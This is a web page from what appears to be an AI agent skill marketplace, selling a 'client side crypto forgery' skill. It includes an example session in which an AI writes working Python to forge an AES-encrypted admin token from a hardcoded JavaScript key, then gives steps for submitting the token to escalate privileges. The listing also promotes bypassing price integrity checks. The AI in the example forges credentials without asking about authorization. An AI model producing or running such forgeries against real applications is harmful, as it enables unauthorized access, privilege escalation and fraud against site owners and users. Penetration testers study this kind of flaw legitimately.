Works with the AI tools you already use

    Claude CodeClaude CodeCursorCursorCodex CLICodex CLIGitHub CopilotGitHub CopilotGemini CLIGemini CLI+20 more

    client side crypto forgery

    1

    Extract client-side crypto keys from JS bundles to forge valid payloads and test server-side trust.

    $5

    Secure checkout via Stripe

    30-day refund guarantee

    Converts to your local currency at checkout

    0 installsSecurity scanned
    client side crypto forgery

    client side crypto forgery

    Example session with this skill installed

    I found a JS bundle using CryptoJS.AES with a hardcoded string 'v3ry-s3cr3t-k3y'. It encrypts a JSON object {user_id: 101, role: 'guest'}. Re-implement this so I can forge an admin payload.

    • Read your context and instructions
    • Compiled the client side crypto

    Analyzed the CryptoJS implementation. The client uses AES-CBC with a SHA256-derived key and a fixed 16-byte IV. I have re-implemented the scheme in Python and prepared an administrative payload.

    Cryptographic Forgery Implementation

    The following script derives the key from the discovered string, replicates the CBC padding, and generates a forged payload.

    import json
    import base64
    from cryptography.hazmat.primitives import padding
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    from cryptography.hazmat.backends import default_backend
    import hashlib
    
    def forge_admin_payload(secret_string, target_data):
        # Replicating client-side derivation: SHA256 of the secret string
        key = hashlib.sha256(secret_string.encode()).digest()
        
        # Client uses a fixed IV (common in broken implementations)
        # If the IV is random, it is usually prepended to the ciphertext
        iv = b'\x00' * 16 
        
        # Prepare data
        data_bytes = json.dumps(target_data).encode()
        
        # Add PKCS7 padding as expected by CryptoJS AES
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(data_bytes) + padder.finalize()
        
        # Encrypt
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        ct = encryptor.update(padded_data) + encryptor.finalize()
        
        # Return Base64 encoded string for submission
        return base64.b64encode(ct).decode()
    
    # Configuration
    SECRET = "v3ry-s3cr3t-k3y"
    ADMIN_PAYLOAD = {"user_id": 101, "role": "admin"}
    
    forged_token = forge_admin_payload(SECRET, ADMIN_PAYLOAD)
    print(f"Forged Token: {forged_token}")
    
    ComponentValue / Setting
    AlgorithmAES-256-CBC
    Key DerivationSHA256(secret_string)
    PaddingPKCS7
    IV SourceStatic (16 null bytes)
    Target Fieldx-encrypted-auth header

    Next steps

    1. Run the script and verify the output length matches legitimate intercepted tokens.
    2. Submit the forged token via Burp Suite or cURL while maintaining a valid session cookie.
    3. Check the application response for a 200 OK or administrative menu items to confirm escalation.

    Connects securely to your tools. The creator never sees your data.

    What you get

    Extract hardcoded keys from obfuscated JavaScript bundles.Re-implement client-side encryption logic in Python for verification.Forge administrative payloads to test privilege escalation.Bypass integrity checks on client-signed form data.

    About this skill

    The problem

    Web applications often rely on client-side encryption or signing to protect data, assuming the browser is a trusted environment. If the cryptographic keys or derivation logic are shipped in the JavaScript bundles, the security model is compromised, allowing attackers to manipulate protected data.

    What it does

    • Scans application JavaScript bundles to identify cryptographic libraries like CryptoJS, JSEncrypt, or WebCrypto.
    • Locates embedded keys, hex/base64 literals, and derivation functions (e.g., SHA256-hashed passphrases).
    • Reverse-engineers the encryption scheme including algorithms (AES-GCM, CBC), IV generation, and output encoding.
    • Re-implements the logic in Python to verify round-trip encryption/decryption against legitimate traffic.
    • Generates forged payloads to test server-side trust in hidden fields like roles, prices, and user IDs.

    Frameworks & tools

    Python (cryptography library), JavaScript DevTools, CryptoJS, AES-GCM, SHA256, and Base64 encoding.

    Why this beats prompting it yourself

    Most LLMs struggle to maintain the strict binary and encoding precision required for cryptographic forgery, often hallucinating padding or IV lengths. This skill provides a systematic methodology for extracting keys from obfuscated JS and ensures the re-implementation is verified before deployment.

    Use cases

    • Penetration testing of SPAs that sign form data in the browser.
    • Bypassing client-side integrity checks on e-commerce price fields.
    • Escalating privileges by modifying encrypted role claims in local storage.
    • Testing server-side resilience against stored XSS in encrypted fields.

    Known limitations

    Requires authorized engagement environments. Does not handle keys stored in Hardware Security Modules (HSMs) or Secure Enclaves. Effectiveness is limited if keys are rotated per-session via backend-only OOB channels.

    How to install

    Works the same in every agent - Claude, Cursor, Codex, Copilot and 20+ more.

    ~30 seconds
    1. 1

      Download the ZIP

      Free skills download straight away. Paid skills unlock right after purchase.

    2. 2

      Unzip into your skills folder

      Every agent reads skills from one folder on your machine. Drop the unzipped folder in there.

    3. 3

      Ask your agent to use it

      Restart the agent if it was already running. It picks the skill up automatically - no config needed.

    Skills folder by agent

    Click the path to copy it. Create the folder if it does not exist yet.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill passes our trust checks below.

    Security scanned

    Passed our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    30-day refund

    Not a fit? Get your money back

    Trust & safety

    Security scanned

    Verified clean 7 days ago

    • Passed all security checks, Safe to install

    Listed7 days ago
    Updated6 days ago

    What's inside

    Frequently Asked Questions